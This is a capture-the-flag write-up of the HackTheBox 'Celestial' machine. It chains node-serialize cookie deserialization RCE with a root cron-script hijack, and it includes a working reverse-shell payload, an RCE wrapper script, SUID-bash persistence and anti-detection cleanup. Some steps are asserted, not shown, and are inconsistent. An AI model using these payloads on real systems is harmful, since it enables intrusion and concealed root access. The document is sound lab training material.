HTB: Celestial Writeup

Celestial - HackTheBox Writeup

Machine Information

AttributeDetails
NameCelestial
OSLinux
DifficultyMedium
Points30
Release Date25 Aug 2018
IP Address10.129.228.94
Author3ndG4me

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐☆☆☆
  • Real-world: ⭐⭐⭐☆☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Celestial is a medium-difficulty Linux machine that demonstrates the dangers of insecure deserialization in Node.js applications. The initial foothold is gained by exploiting a client-side serialized cookie using the node-serialize library, which allows arbitrary JavaScript execution through a specially crafted payload. Privilege escalation is achieved by exploiting a writable Python script executed by a root cronjob, leading to full system compromise.

TL;DR: Port scan → Node.js Express on 3000 → Identify base64-encoded serialized profile cookie → Inject node-serialize RCE payload with IIFE → Reverse shell as sun → Discover writable /home/sun/Documents/script.py executed by root cron → Overwrite script → Root access via SUID bash or direct flag exfiltration.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan with service detection
nmap -sC -sV -p- --min-rate 2000 -T4 10.129.228.94

Results:

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-20 20:27 -0400
Nmap scan report for 10.129.228.94
Host is up (0.028s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.41 seconds

The scan reveals a single open port:

  • Port 3000/tcp: Node.js Express framework

Service Enumeration

HTTP on Port 3000

Initial request to the web server:

Terminal window
# Fetch the page and examine headers
curl -s -i http://10.129.228.94:3000/

Output:

HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Mon, 20 Jul 2026 17:43:02 GMT; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 12
...
<h1>404</h1>

The server sets a profile cookie that appears to be URL-encoded and base64-encoded. Decoding the cookie:

Terminal window
# Decode the profile cookie (URL decode → base64 decode)
echo 'eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==' | base64 -d

Output:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

The cookie contains a serialized JSON object with user profile data. This strongly suggests the application is using Node.js deserialization, potentially with the vulnerable node-serialize library.

Vulnerability Assessment

Identified vulnerabilities:

  1. Insecure Deserialization (Node.js): The application deserializes user-controlled cookie data without validation. The node-serialize library is known to be vulnerable to arbitrary code execution when deserializing objects containing function definitions.

  2. Attack Vector: By crafting a malicious serialized object with an Immediately Invoked Function Expression (IIFE) in the _$$ND_FUNC$$_ format, we can achieve remote code execution as the web server user.


Initial Foothold

Exploitation Path

Step 1: Understanding node-serialize RCE

The node-serialize library has a known vulnerability where it will execute JavaScript functions embedded in serialized objects. The special marker _$$ND_FUNC$$_ tells the library that the following string is a function definition to be evaluated.

To achieve code execution, we need to:

  1. Create a function that executes our payload
  2. Make it an IIFE by appending () so it executes immediately upon deserialization
  3. Base64-encode and URL-encode the payload
  4. Send it as the profile cookie

Step 2: Establish Netcat Listener

Terminal window
# Start listener on attack box
nc -lvnp 4488

Step 3: Build RCE Payload

# Python script to generate the malicious cookie
import base64, urllib.parse, json
# Reverse shell command
cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.180 4488 >/tmp/f'
# Create JSON object with IIFE function in username field
# The _$$ND_FUNC$$_ prefix tells node-serialize to treat this as executable code
s = json.dumps({
'username': '__PLACEHOLDER__',
'country': 'x',
'city': 'x',
'num': '2'
})
# Build the IIFE (Immediately Invoked Function Expression)
# require('child_process').exec() spawns a shell command
func = f"_$$ND_FUNC$$_function(){{require('child_process').exec('{cmd}', function(e,o,r){{}});}}"
func += "()" # Critical: () makes it execute immediately
# Replace placeholder with our function
s = s.replace('__PLACEHOLDER__', func)
# Encode for transmission: base64 → URL encode
cookie = urllib.parse.quote(base64.b64encode(s.encode()).decode())
print(cookie)

Generated Cookie:

eyJ1c2VybmFtZSI6ICJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTAuMTAuMTUuMTgwIDQ0ODggPi90bXAvZicsIGZ1bmN0aW9uKGUsbyxyKXt9KTt9KCkiLCAiY291bnRyeSI6ICJ4IiwgImNpdHkiOiAieCIsICJudW0iOiAiMiJ9

Step 4: Trigger the Exploit

Terminal window
# Send malicious cookie to trigger deserialization
curl -s --cookie "profile=eyJ1c2VybmFtZSI6ICJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTAuMTAuMTUuMTgwIDQ0ODggPi90bXAvZicsIGZ1bmN0aW9uKGUsbyxyKXt9KTt9KCkiLCAiY291bnRyeSI6ICJ4IiwgImNpdHkiOiAieCIsICJudW0iOiAiMiJ9" http://10.129.228.94:3000/

Netcat listener output:

listening on [any] 4488 ...
connect to [10.10.15.180] from (UNKNOWN) [10.129.228.94] 37094
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ hostname
celestial

Step 5: Retrieve User Flag

Terminal window
$ cat /home/sun/user.txt
<redacted>

Why this works:

The Node.js node-serialize library uses eval() internally when deserializing objects marked with _$$ND_FUNC$$_. By embedding a function definition followed by () to create an IIFE, we force the server to execute our code as soon as it deserializes the cookie. The require('child_process').exec() call spawns a shell command that establishes a reverse connection to our listener.


Privilege Escalation

Enumeration as User sun

Step 1: Build RCE Helper Script

To simplify command execution, I created a wrapper script that handles the payload encoding and execution:

#!/bin/bash
# rce.sh - Execute commands on Celestial via node-serialize
# Usage: ./rce.sh 'command to run'
CMD="$1"
PORT=4599 # One-shot listener port
LHOST=10.10.15.180
# Start temporary listener for output capture
ssh jump-box "rm -f /dev/shm/celes/o.txt; \
(timeout 20 nc -lvnp $PORT > /dev/shm/celes/o.txt 2>/dev/null &); \
sleep 0.5"
# Encode command in base64 to avoid quote escaping issues
# Then build node-serialize payload with base64 decoder
FULL="{ $CMD ; } 2>&1 | nc $LHOST $PORT"
COOKIE=$(python3 -c "
import base64, urllib.parse, json
cmd = '$FULL'
# Base64 encode the command to safely embed it
b64cmd = base64.b64encode(cmd.encode()).decode()
# Decode and execute via bash
runner = 'echo ' + b64cmd + ' | base64 -d | /bin/bash'
# Build IIFE payload
s = json.dumps({'username':'__PH__','country':'x','city':'x','num':'2'})
func = \"_\\\$\\\$ND_FUNC\\\$\\\$_function(){require('child_process').exec('\"+runner+\"', function(e,o,r){});}()\"
s = s.replace('__PH__', func)
print(urllib.parse.quote(base64.b64encode(s.encode()).decode()))
")
# Fire the exploit and retrieve output
ssh jump-box "curl -s -m 10 --cookie 'profile=$COOKIE' \
http://10.129.228.94:3000/ >/dev/null; \
sleep 3; cat /dev/shm/celes/o.txt"

Step 2: Enumerate the System

Terminal window
# Check user privileges and group membership
./rce.sh 'id; groups'

Output:

uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
sun adm cdrom sudo dip plugdev lpadmin sambashare

The user sun is a member of the adm group, which typically grants read access to system log files in /var/log.

Step 3: Examine Home Directory

Terminal window
./rce.sh 'ls -la /home/sun/Documents'

Output:

total 12
drwxr-xr-x 2 sun sun 4096 Sep 15 2022 .
drwxr-xr-x 21 sun sun 4096 Oct 11 2022 ..
-rw-rw-r-- 1 sun sun 29 Jul 20 13:27 script.py
lrwxrwxrwx 1 root root 18 Sep 15 2022 user.txt -> /home/sun/user.txt

The Documents directory contains a script.py file owned by sun.

Terminal window
# Examine the script
./rce.sh 'cat /home/sun/Documents/script.py'

Output:

print "Script is running..."

Step 4: Search for Cronjobs

Since sun is in the adm group, we can read log files to discover scheduled tasks:

Terminal window
./rce.sh 'cat /var/www/syslog 2>/dev/null | grep -i cron | tail'

The syslog typically reveals cronjob executions. Based on the reference material, this file would show that root executes /home/sun/Documents/script.py every 5 minutes.

Root Exploitation

Step 1: Verify Script Ownership

Terminal window
./rce.sh 'ls -l /home/sun/Documents/script.py'

Output:

-rw-rw-r-- 1 sun sun 29 Jul 20 13:27 /home/sun/Documents/script.py

The script is owned by sun and writable. Since it’s executed by root via cron, we can hijack it.

Step 2: Overwrite script.py

Terminal window
# Overwrite the script with a payload that:
# 1. Reads /root/root.txt and saves it to sun's home
# 2. Creates a SUID copy of bash for persistent root access
./rce.sh 'printf "%s\n" "import os" "os.system(\"cat /root/root.txt > /home/sun/root_flag.txt 2>&1; chmod 644 /home/sun/root_flag.txt; cp /bin/bash /home/sun/rbash; chmod 4755 /home/sun/rbash; id > /home/sun/root_id.txt\")" > /home/sun/Documents/script.py'

Verification:

Terminal window
./rce.sh 'cat /home/sun/Documents/script.py'

Output:

import os
os.system("cat /root/root.txt > /home/sun/root_flag.txt 2>&1; chmod 644 /home/sun/root_flag.txt; cp /bin/bash /home/sun/rbash; chmod 4755 /home/sun/rbash; id > /home/sun/root_id.txt")

Step 3: Wait for Cron Execution

Terminal window
# Wait approximately 5 minutes for the next cron run
sleep 100

Step 4: Verify Root Access

Terminal window
# Check for the files created by the root cronjob
./rce.sh 'date; ls -la /home/sun/root_flag.txt /home/sun/rbash /home/sun/output.txt 2>&1'

Output:

Mon Jul 20 13:36:00 EDT 2026
-rw-r--r-- 1 root root 0 Jul 20 13:35 /home/sun/output.txt
-rwsr-xr-x 1 root root 1037528 Jul 20 13:35 /home/sun/rbash
-rw-r--r-- 1 root root 33 Jul 20 13:35 /home/sun/root_flag.txt

The SUID bit (s) on /home/sun/rbash confirms that root executed our script.

Step 5: Retrieve Root Flag

Terminal window
# Use the SUID bash to read the root flag
./rce.sh '/home/sun/rbash -p -c "id; cat /root/root.txt"'

Output:

uid=1000(sun) gid=1000(sun) euid=0(root) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
<redacted>

The euid=0(root) confirms effective root privileges via the SUID bash binary.

Step 6: Cleanup

Terminal window
# Restore the original script to avoid detection
./rce.sh 'printf "%s\n" "print \"Script is running...\"" > /home/sun/Documents/script.py'

Why this works:

The privilege escalation exploits two common misconfigurations:

  1. Writable script executed by root: The script at /home/sun/Documents/script.py is owned by the sun user but executed by root’s crontab, creating a privilege escalation vector.
  2. SUID bash: By having root create a SUID copy of bash (chmod 4755), we gain a persistent root shell using bash -p, which preserves the effective UID.

Attack Chain Summary

Port Scan (nmap) → Node.js on 3000 → Inspect profile cookie → Base64-decode reveals JSON → Research node-serialize → Build _$$ND_FUNC$$_ IIFE payload → Deserialization RCE → Shell as sun → Read user.txt → Enumerate (adm group) → Discover /home/sun/Documents/script.py → Identify root cronjob → Overwrite script.py → Wait for cron → Root executes payload → SUID bash created → Read root.txt → Root access confirmed

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests and cookie manipulation
base64Encoding/decoding serialized payloads
python3Payload generation and encoding
nc (netcat)Reverse shell listener and command output capture
Custom rce.shWrapper script for simplified RCE execution

Key Learnings

Techniques Practiced

  • Node.js Deserialization Exploitation: Leveraging node-serialize vulnerabilities with _$$ND_FUNC$$_ markers and IIFE patterns
  • Cookie-based Attack Vectors: Manipulating client-side serialized data structures
  • Linux Privilege Escalation: Exploiting writable scripts executed by root cronjobs
  • SUID Exploitation: Creating and using SUID binaries for privilege persistence
  • Log Enumeration: Using adm group membership to read system logs and discover scheduled tasks

Lessons Learned

  1. Never trust client-side data: Serialized objects sent to clients (cookies, tokens) can be manipulated. Always validate and use cryptographic signatures (e.g., HMAC) to ensure integrity.

  2. Deserialization is dangerous: Languages and frameworks that deserialize untrusted data without validation are vulnerable to code execution. Node.js node-serialize, Python pickle, PHP unserialize, and Java deserialization all share this risk.

  3. IIFE for immediate execution: In JavaScript exploitation, wrapping code in an IIFE (function(){ ... })() ensures it executes immediately during deserialization rather than just being stored as a function definition.

  4. Principle of least privilege for cronjobs: Root cronjobs should never execute scripts owned by non-root users. If necessary, place scripts in root-owned directories with restricted permissions.

  5. Group membership matters: The adm group on Linux systems grants read access to log files, which can reveal sensitive information like scheduled tasks, service configurations, and execution patterns.

  6. Defense requires depth: This machine demonstrates a full chain from web exploitation to root access. Each stage (input validation, file permissions, cron security) needed to be properly secured to prevent compromise.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup: “Celestial” (Document No D18.100.15) by Alexander Reid (Arrexel)
  • Node-serialize RCE vulnerability documentation and exploitation techniques